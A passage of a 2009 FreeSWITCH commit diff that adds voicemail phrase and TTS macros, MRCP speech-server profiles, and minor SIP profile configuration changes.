+      <match>
+	<action function="play-file" data="voicemail/vm-you_have.wav"/>
+	<action function="say" data="$1" method="pronounced" type="MESSAGES"/>
+	<action function="play-file" data="voicemail/vm-$2x.wav"/> 
+	<action function="play-file" data="voicemail/vm-messagex.wav"/>
+	<action function="play-file" data="voicemail/vm-in_folder.wav"/>
+      </match>
+    </input>
+    <input pattern="^(\d+[0,2-9][2-4]|[2-9][2-4]|[2-4]):(.*)$"> 
+      <match>
+	<action function="play-file" data="voicemail/vm-you_have.wav"/>
+	<action function="say" data="$1" method="pronounced" type="MESSAGES"/>
+	<action function="play-file" data="voicemail/vm-$2x.wav"/> 
+	<action function="play-file" data="voicemail/vm-messages.wav"/>
+	<action function="play-file" data="voicemail/vm-in_folder.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_menu">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-listen_new.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$2" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-listen_saved.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$3" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-advanced.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$4" method="pronounced" type="name_phonetic"/>
+	<action function="play-file" data="voicemail/vm-to_exit.wav"/>
+      </match>
+    </input>
+  </macro>
+
+
+  <macro name="voicemail_config_menu">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-to_record_greeting.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$2" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-choose_greeting.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$3" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-record_name2.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$4" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-change_password.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$5" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-main_menu.wav"/>
+      </match>
+    </input>
+  </macro>
+
+
+  <macro name="voicemail_record_name">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-record_name1.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_file_check">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-listen_to_recording.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$2" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-save_recording.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$3" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-rerecord.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_urgent_check">
+    <input pattern="^([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-mark-urgent.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-continue.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$2" method="pronounced" type="name_spelled"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_forward_prepend">
+    <input pattern="^([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-forward_add_intro.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-send_message_now.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$2" method="pronounced" type="name_spelled"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_forward_message_enter_extension">
+    <input pattern="^([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-forward_enter_ext.wav"/>
+	<action function="play-file" data="voicemail/vm-followed_by.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_invalid_extension">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-that_was_an_invalid_ext.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_listen_file_check">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="play-file" data="voicemail/vm-listen_to_recording.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-save_recording.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$2" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-delete_recording.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$3" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-forward_to_email.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$4" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-return_call.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$5" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-to_forward.wav"/>
+	<action function="play-file" data="voicemail/vm-press.wav"/>
+	<action function="say" data="$6" method="pronounced" type="name_spelled"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_choose_greeting">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-choose_greeting_choose.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_choose_greeting_fail">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-choose_greeting_fail.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_greeting">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-record_greeting.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_message">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-record_message.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_greeting_selected">
+    <input pattern="^(\d+)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-greeting.wav"/>
+	<action function="say" data="$1" method="pronounced" type="items"/>
+	<action function="play-file" data="voicemail/vm-selected.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_play_greeting">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-person.wav"/>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+	<action function="play-file" data="voicemail/vm-not_available.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_number">
+    <input pattern="^(\d+)$">
+      <match>
+	<action function="say" data="$1" method="pronounced" type="items"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_message_number">
+    <input pattern="^([a-z]+):(\d+)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-$1.wav"/> 
+	<action function="play-file" data="voicemail/vm-message_number.wav"/>
+	<action function="say" data="$2" method="pronounced" type="items"/> 
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_phone_number">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_name">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="say" data="$1" method="pronounced" type="name_spelled"/>
+      </match>
+    </input>
+  </macro>
+  <!-- Note: Update this to marked-urgent,emailed and saved once new sound files are recorded -->
+  <macro name="voicemail_ack"> 
+    <input pattern="^(too-small)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-too-small.wav"/>
+      </match>
+    </input>
+    <input pattern="^(deleted)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-message.wav"/>
+	<action function="play-file" data="voicemail/vm-$1.wav"/>
+      </match>
+    </input>
+    <input pattern="^(saved)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-message.wav"/>
+	<action function="play-file" data="voicemail/vm-$1.wav"/>
+      </match>
+    </input>
+    <input pattern="^(emailed)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-message.wav"/>
+	<action function="play-file" data="voicemail/vm-$1.wav"/>
+      </match>
+    </input>
+    <input pattern="^(marked-urgent)$">
+      <match>
+	<action function="play-file" data="voicemail/vm-message.wav"/>
+	<action function="play-file" data="voicemail/vm-$1.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_date">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="say" data="$1" method="pronounced" type="current_date_time"/>
+      </match>
+    </input>
+  </macro>
+
+</include><!--This line will be ignored it's here to validate the xml and is optional -->

Deleted: freeswitch/branches/seven/conf/lang/ru/vm/tts.xml

Copied: freeswitch/branches/seven/conf/lang/ru/vm/tts.xml (from rev 14471, freeswitch/trunk/conf/lang/ru/vm/tts.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/lang/ru/vm/tts.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/lang/ru/vm/tts.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,239 @@
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+  <macro name="voicemail_enter_id">
+    <input pattern="(.*)">
+      <match>
+	<action function="speak-text" data="please enter your i d, followed by $1."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_enter_pass">
+    <input pattern="(.*)">
+      <match>
+	<action function="speak-text" data="please enter your password, followed by $1."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_fail_auth">
+    <input pattern="(.*)">
+      <match>
+	<action function="speak-text" data="login incorrect."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_hello">
+    <input pattern="(.*)">
+      <match>
+	<action function="speak-text" data="welcome to your voicemail."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_goodbye">
+    <input pattern="(.*)">
+      <match>
+	<action function="speak-text" data="goodbye."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_abort">
+    <input pattern="(.*)">
+      <match>
+	<action function="speak-text" data="too many failed attempts."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_message_count">
+    <input pattern="^1:(.*)$" break_on_match="true">
+      <match>
+	<action function="speak-text" data="you have 1 $1 message in folder ${voicemail_current_folder}."/>
+      </match>
+    </input>
+    <input pattern="^(\d+):(.*)$">
+      <match>
+	<action function="speak-text" data="you have $1 $2 messages in folder ${voicemail_current_folder}."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_menu">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="speak-text" 
+		data="To listen to new messages, press $1, To listen to saved messages, press $2, For advanced options, press $3, to exit, press $4."/>
+      </match>
+    </input>
+  </macro>
+
+
+  <macro name="voicemail_config_menu">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="speak-text" 
+		data="To record a greeting, press $1, To choose a greeting, press $2, To record your name, press $3, to change your password, press $5, to return to the main menu, press $5."/>
+      </match>
+    </input>
+  </macro>
+
+
+  <macro name="voicemail_record_name">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="at the tone, please record your name, press any key or stop talking to end the recording."/>
+
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_file_check">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="speak-text" 
+		data="To listen to the recording, press $1, To save the recording, press $2, To re record, press $3."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_urgent_check">
+    <input pattern="^([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="speak-text" 
+		data="To mark this message urgent, press $1, To continue, press $2."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_invalid_extension">
+    <input pattern="^([0-9#*])$">
+      <match>
+	<action function="speak-text" data="$1 is not a valid extension."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_forward_message_enter_extension">
+    <input pattern="^([0-9#*])$">
+      <match>
+	<action function="speak-text" data="enter the extension you wish to forward to, then press $1"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_forward_prepend">
+    <input pattern="^([0-9#*])$">
+      <match>
+	<action function="speak-text" data="To record an announcement, press $1."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_listen_file_check">
+    <input pattern="^([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*]):([0-9#*])$">
+      <match>
+	<action function="speak-text" 
+		data="To listen to the recording again, press $1, To save the recording, press $2,  To delete the recording, press $3, to forward the recording to your email, press $4, to call the caller now, press $5, To forward this message to another extension, press $6."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_choose_greeting">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="choose a greeting between 1 and 3."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_choose_greeting_fail">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="invalid value."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_greeting">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="record your greeting at the tone, press any key or stop talking to end the recording."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_record_message">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="record your message at the tone, press any key or stop talking to end the recording."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_greeting_selected">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="greeting $1 selected."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_play_greeting">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="$1 is not available."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_number">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="$1"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_message_number">
+    <input pattern="^([a-z]+):(.*)$">
+      <match>
+	<action function="speak-text" data="$1 message number $2."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_phone_number">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="$1."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_name">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="$1."/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_ack">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="message $1"/>
+      </match>
+    </input>
+  </macro>
+
+  <macro name="voicemail_say_date">
+    <input pattern="^(.*)$">
+      <match>
+	<action function="speak-text" data="${strftime($1|%A, %B %d %Y, %I:%M %p)}"/>
+      </match>
+    </input>
+  </macro>
+
+</include><!--This line will be ignored it's here to validate the xml and is optional -->

Copied: freeswitch/branches/seven/conf/mrcp_profiles (from rev 14471, freeswitch/trunk/conf/mrcp_profiles)

Deleted: freeswitch/branches/seven/conf/mrcp_profiles/loquendo-7-mrcp-v2.xml

Copied: freeswitch/branches/seven/conf/mrcp_profiles/loquendo-7-mrcp-v2.xml (from rev 14471, freeswitch/trunk/conf/mrcp_profiles/loquendo-7-mrcp-v2.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/mrcp_profiles/loquendo-7-mrcp-v2.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/mrcp_profiles/loquendo-7-mrcp-v2.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+<include>
+  <!-- Loquendo MRCP Server 7 MRCPv2 -->
+  <profile name="loquendo7-mrcp2" version="2">
+    <!--param name="client-ext-ip" value="auto"-->
+    <param name="client-ip" value="auto"/>
+    <param name="client-port" value="5090"/>
+    <param name="server-ip" value="10.5.5.152"/>
+    <param name="server-port" value="5060"/>
+    <!--param name="force-destination" value="1"/-->
+    <param name="sip-transport" value="udp"/>
+    <!--param name="ua-name" value="FreeSWITCH"/-->
+    <!--param name="sdp-origin" value="FreeSWITCH"/-->
+    <!--param name="rtp-ext-ip" value="auto"/-->
+    <param name="rtp-ip" value="auto"/>
+    <param name="rtp-port-min" value="4000"/>
+    <param name="rtp-port-max" value="5000"/>
+    <!--param name="playout-delay" value="50"/-->
+    <!--param name="max-playout-delay" value="200"/-->
+    <!--param name="ptime" value="20"/-->
+    <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+    <param name="jsgf-mime-type" value="application/jsgf"/>
+  </profile>
+</include>

Deleted: freeswitch/branches/seven/conf/mrcp_profiles/nuance-1.0.0-mrcp-v1.xml

Copied: freeswitch/branches/seven/conf/mrcp_profiles/nuance-1.0.0-mrcp-v1.xml (from rev 14471, freeswitch/trunk/conf/mrcp_profiles/nuance-1.0.0-mrcp-v1.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/mrcp_profiles/nuance-1.0.0-mrcp-v1.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/mrcp_profiles/nuance-1.0.0-mrcp-v1.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<include>
+  <!-- Nuance MRCP 1.0.0 Server -->
+  <profile name="nuance-mrcp1" version="1">
+    <param name="server-ip" value="10.5.5.152"/>
+    <param name="server-port" value="554"/>
+    <param name="resource-location" value=""/>
+    <param name="speechsynth" value="synthesizer"/>
+    <param name="speechrecog" value="recognizer"/>
+    <!--param name="rtp-ext-ip" value="auto"/-->
+    <param name="rtp-ip" value="auto"/>
+    <param name="rtp-port-min" value="4000"/>
+    <param name="rtp-port-max" value="5000"/>
+    <!--param name="playout-delay" value="50"/-->
+    <!--param name="max-playout-delay" value="200"/-->
+    <!--param name="ptime" value="20"/-->
+    <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+  </profile>
+</include>

Deleted: freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v1.xml

Copied: freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v1.xml (from rev 14471, freeswitch/trunk/conf/mrcp_profiles/nuance-5.0-mrcp-v1.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v1.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v1.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<include>
+  <!-- Nuance Speech Server 5.0 MRCPv1 -->
+  <profile name="nuance5-mrcp1" version="1">
+    <param name="server-ip" value="10.5.5.152"/>
+    <param name="server-port" value="4900"/>
+    <param name="resource-location" value="media"/>
+    <param name="speechsynth" value="speechsynthesizer"/>
+    <param name="speechrecog" value="speechrecognizer"/>
+    <!--param name="rtp-ext-ip" value="auto"/-->
+    <param name="rtp-ip" value="auto"/>
+    <param name="rtp-port-min" value="4000"/>
+    <param name="rtp-port-max" value="5000"/>
+    <!--param name="playout-delay" value="50"/-->
+    <!--param name="max-playout-delay" value="200"/-->
+    <!--param name="ptime" value="20"/-->
+    <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+  </profile>
+</include>

Deleted: freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v2.xml

Copied: freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v2.xml (from rev 14471, freeswitch/trunk/conf/mrcp_profiles/nuance-5.0-mrcp-v2.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v2.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/mrcp_profiles/nuance-5.0-mrcp-v2.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+<include>
+  <!-- Nuance Speech Server 5.0 MRCPv2 -->
+  <profile name="nuance5-mrcp2" version="2">
+    <!--param name="client-ext-ip" value="auto"-->
+    <param name="client-ip" value="auto"/>
+    <param name="client-port" value="5090"/>
+    <param name="server-ip" value="10.5.5.152"/>
+    <param name="server-port" value="5060"/>
+    <!--param name="force-destination" value="1"/-->
+    <param name="sip-transport" value="udp"/>
+    <!--param name="ua-name" value="FreeSWITCH"/-->
+    <!--param name="sdp-origin" value="FreeSWITCH"/-->
+    <!--param name="rtp-ext-ip" value="auto"/-->
+    <param name="rtp-ip" value="auto"/>
+    <param name="rtp-port-min" value="4000"/>
+    <param name="rtp-port-max" value="5000"/>
+    <!--param name="playout-delay" value="50"/-->
+    <!--param name="max-playout-delay" value="200"/-->
+    <!--param name="ptime" value="20"/-->
+    <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+  </profile>
+</include>

Deleted: freeswitch/branches/seven/conf/mrcp_profiles/unimrcpserver-mrcp-v1.xml

Copied: freeswitch/branches/seven/conf/mrcp_profiles/unimrcpserver-mrcp-v1.xml (from rev 14471, freeswitch/trunk/conf/mrcp_profiles/unimrcpserver-mrcp-v1.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/mrcp_profiles/unimrcpserver-mrcp-v1.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/mrcp_profiles/unimrcpserver-mrcp-v1.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<include>
+  <!-- UniMRCP Server MRCPv1 -->
+  <profile name="unimrcpserver-mrcp1" version="1">
+    <param name="server-ip" value="10.5.5.152"/>
+    <param name="server-port" value="1554"/>
+    <param name="resource-location" value=""/>
+    <param name="speechsynth" value="speechsynthesizer"/>
+    <param name="speechrecog" value="speechrecognizer"/>
+    <!--param name="rtp-ext-ip" value="auto"/-->
+    <param name="rtp-ip" value="auto"/>
+    <param name="rtp-port-min" value="4000"/>
+    <param name="rtp-port-max" value="5000"/>
+    <!--param name="playout-delay" value="50"/-->
+    <!--param name="max-playout-delay" value="200"/-->
+    <!--param name="ptime" value="20"/-->
+    <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+  </profile>
+</include>

Deleted: freeswitch/branches/seven/conf/mrcp_profiles/voxeo-prophecy-8.0-mrcp-v1.xml

Copied: freeswitch/branches/seven/conf/mrcp_profiles/voxeo-prophecy-8.0-mrcp-v1.xml (from rev 14471, freeswitch/trunk/conf/mrcp_profiles/voxeo-prophecy-8.0-mrcp-v1.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/mrcp_profiles/voxeo-prophecy-8.0-mrcp-v1.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/mrcp_profiles/voxeo-prophecy-8.0-mrcp-v1.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<include>
+  <!-- Voxeo Prophecy 8.0 MRCPv1 -->
+  <profile name="voxeo-prophecy8.0-mrcp1" version="1">
+    <param name="server-ip" value="99.185.85.31"/>
+    <param name="server-port" value="554"/>
+    <param name="resource-location" value=""/>
+    <param name="speechsynth" value="synthesizer"/>
+    <param name="speechrecog" value="recognizer"/>
+    <!--param name="rtp-ext-ip" value="auto"/-->
+    <param name="rtp-ip" value="auto"/>
+    <param name="rtp-port-min" value="4000"/>
+    <param name="rtp-port-max" value="5000"/>
+    <!--param name="playout-delay" value="50"/-->
+    <!--param name="max-playout-delay" value="200"/-->
+    <!--param name="ptime" value="20"/-->
+    <param name="codecs" value="PCMU PCMA L16/96/8000"/>
+  </profile>
+</include>

Modified: freeswitch/branches/seven/conf/sip_profiles/external.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/sip_profiles/external.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/sip_profiles/external.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,13 +1,15 @@
-<!-- http://wiki.freeswitch.org/wiki/Sofia_Configuration_Files --> 
 <profile name="external">
+  <!-- http://wiki.freeswitch.org/wiki/Sofia_Configuration_Files --> 
   <!-- This profile is only for outbound registrations to providers -->
   <gateways>
     <X-PRE-PROCESS cmd="include" data="external/*.xml"/>
   </gateways>
 
   <aliases>
+    <!-- 
     <alias name="outbound"/>
-    <alias name="nat"/> <!-- for backwards compatibility --> 
+    <alias name="nat"/>
+    -->
   </aliases>
 
   <domains>
@@ -24,10 +26,10 @@
     <param name="dtmf-duration" value="100"/>
     <param name="codec-prefs" value="$${outbound_codec_prefs}"/>
     <param name="hold-music" value="$${hold_music}"/>
-    <param name="use-rtp-timer" value="true"/>
     <param name="rtp-timer-name" value="soft"/>
     <!--<param name="enable-100rel" value="true"/>-->
     <!-- This could be set to "passive" -->
+    <param name="local-network-acl" value="localnet.auto"/>
     <param name="manage-presence" value="false"/>
 
     <!-- used to share presence info across sofia profiles 
@@ -47,14 +49,13 @@
     <param name="inbound-codec-negotiation" value="generous"/>
     <param name="nonce-ttl" value="60"/>
     <param name="auth-calls" value="false"/>
-    <param name="rtp-timeout-sec" value="1800"/>
     <!--
 	DO NOT USE HOSTNAMES, ONLY IP ADDRESSES IN THESE SETTINGS!
     -->
     <param name="rtp-ip" value="$${local_ip_v4}"/>
     <param name="sip-ip" value="$${local_ip_v4}"/>
-    <param name="ext-rtp-ip" value="$${external_rtp_ip}"/>
-    <param name="ext-sip-ip" value="$${external_sip_ip}"/>
+    <param name="ext-rtp-ip" value="auto-nat"/>
+    <param name="ext-sip-ip" value="auto-nat"/>
     <param name="rtp-timeout-sec" value="300"/>
     <param name="rtp-hold-timeout-sec" value="1800"/>
     <!--<param name="enable-3pcc" value="true"/>-->

Modified: freeswitch/branches/seven/conf/sip_profiles/internal/example.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/sip_profiles/internal/example.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/sip_profiles/internal/example.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -28,6 +28,8 @@
   <!--<param name="caller-id-in-from" value="false"/>-->
   <!--extra sip params to send in the contact-->
   <!--<param name="contact-params" value="tport=tcp"/>-->
+  <!-- Put the extension in the contact -->
+  <!--<param name="extension-in-contact" value="true"/>-->
   <!--send an options ping every x seconds, failure will unregister and/or mark it down-->
   <!--<param name="ping" value="25"/>-->
   <!--</gateway>-->

Modified: freeswitch/branches/seven/conf/sip_profiles/internal-ipv6.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/sip_profiles/internal-ipv6.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/sip_profiles/internal-ipv6.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,8 +1,8 @@
-<!--
-    This is an example of a sofia profile setup to listen on IPv6.
--->
-<!-- http://wiki.freeswitch.org/wiki/Sofia_Configuration_Files -->
 <profile name="internal-ipv6">
+  <!--
+      This is an example of a sofia profile setup to listen on IPv6.
+  -->
+  <!-- http://wiki.freeswitch.org/wiki/Sofia_Configuration_Files -->
   <!--aliases are other names that will work as a valid profile name for this profile-->
   <settings>
     <!-- <param name="user-agent-string" value="FreeSWITCH Rocks!"/> -->
@@ -119,6 +119,10 @@
     <!-- set to true to have the profile determine stun is not useful and turn it off globally-->
     <!--<param name="stun-auto-disable" value="true"/>-->
 
+	 <!-- the following can be used as workaround with bogus SRV/NAPTR records -->
+	 <!--<param name="disable-srv" value="false" />-->
+	 <!--<param name="disable-naptr" value="false" />-->
+
   </settings>
 </profile>
 

Modified: freeswitch/branches/seven/conf/sip_profiles/internal.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/sip_profiles/internal.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/sip_profiles/internal.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,15 +1,17 @@
-<!--
-    This is a sofia sip profile/user agent.  This will service exactly one ip and port.
-    In FreeSWITCH you can run multiple sip user agents on their own ip and port.
-    
-    When you hear someone say "sofia profile" this is what they are talking about.
--->
-
-<!-- http://wiki.freeswitch.org/wiki/Sofia_Configuration_Files -->
 <profile name="internal">
+  <!--
+      This is a sofia sip profile/user agent.  This will service exactly one ip and port.
+      In FreeSWITCH you can run multiple sip user agents on their own ip and port.
+      
+      When you hear someone say "sofia profile" this is what they are talking about.
+  -->
+  
+  <!-- http://wiki.freeswitch.org/wiki/Sofia_Configuration_Files -->
   <!--aliases are other names that will work as a valid profile name for this profile-->
   <aliases>
+    <!--
     <alias name="default"/>
+    -->
   </aliases>
